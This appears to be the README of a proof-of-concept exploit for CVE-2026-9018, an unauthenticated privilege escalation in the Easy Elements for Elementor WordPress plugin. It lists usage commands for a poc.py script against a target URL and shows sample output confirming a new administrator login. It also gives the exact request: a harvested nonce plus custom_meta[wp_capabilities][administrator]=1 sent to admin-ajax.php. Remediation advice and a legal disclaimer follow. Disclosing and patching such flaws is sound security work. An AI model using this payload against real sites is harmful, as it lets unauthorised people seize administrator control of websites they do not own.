CVE-2026-9018

CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | Unauthenticated Privilege Escalation

Research by: Atomic Edge Severity: High | CVSS: 8.8 | Auth Required: None

Overview

An unauthenticated privilege escalation vulnerability exists in the Easy Elements for Elementor – Addons & Website Templates WordPress plugin (versions ≤ 1.4.5). The easyel_handle_register() function, exposed via the wp_ajax_nopriv_eel_register AJAX handler, passes attacker-controlled custom_meta POST values directly to update_user_meta() without any key whitelist. This allows an unauthenticated attacker to overwrite the wp_capabilities meta key and create an administrator-level account.

Prerequisites

Before exploitation, the following conditions must be met on the target site:

• ✅ WordPress user registration is enabled (Settings → General → Anyone can register)
• ✅ A page with the plugin's Login/Register widget is publicly accessible
• ✅ The widget exposes the easy_elements_nonce value in the page DOM.

Requirements

pip install requests

Usage

# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com

# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!

# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login

Arguments

Example Output

[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5

[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email    : [email protected]
[*] Role     : administrator (via wp_capabilities override)

[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!

    ┌─────────────────────────────────────────┐
    │  WP Admin  : https://target.com/wp-admin/
    │  Username  : atomic_admin
    │  Password  : Atomic@Edge2026!
    └─────────────────────────────────────────┘

Technical Details

The exploit follows a two-step process:

Step 1 — Nonce Harvesting The plugin's Login/Register Elementor widget renders a hidden easy_elements_nonce field in the page HTML. This nonce is publicly accessible to any unauthenticated visitor and is extracted via regex from the page source.

Step 2 — Malicious Registration A POST request is sent to /wp-admin/admin-ajax.php with action=eel_register. The custom_meta array is crafted to include:

custom_meta[wp_capabilities][administrator] = 1

Because easyel_handle_register() passes all custom_meta keys directly to update_user_meta() without a whitelist, the wp_capabilities user meta is overwritten post-registration, granting the new user full administrator privileges.

Remediation

Developers must apply the following fixes to easyel_handle_register():

1. Implement a strict whitelist of allowed custom_meta keys (e.g., first_name, last_name, phone)
2. Explicitly block sensitive keys: wp_capabilities, wp_user_level, session_tokens
3. Avoid processing any user-supplied meta after wp_insert_user() entirely if not required
4. Input sanitization alone is insufficient — a whitelist is mandatory

→ Update to Easy Elements for Elementor 1.4.6 or later immediately.

Disclaimer

This repository is intended for authorized security research and educational purposes only. Do not use this tool against any system without explicit written permission from the system owner. Unauthorized use may violate the CFAA (USA), Criminal Code s.342.1 (Canada), EU NIS2 Directive, and other applicable laws. The authors accept no liability for misuse or damages arising from this code.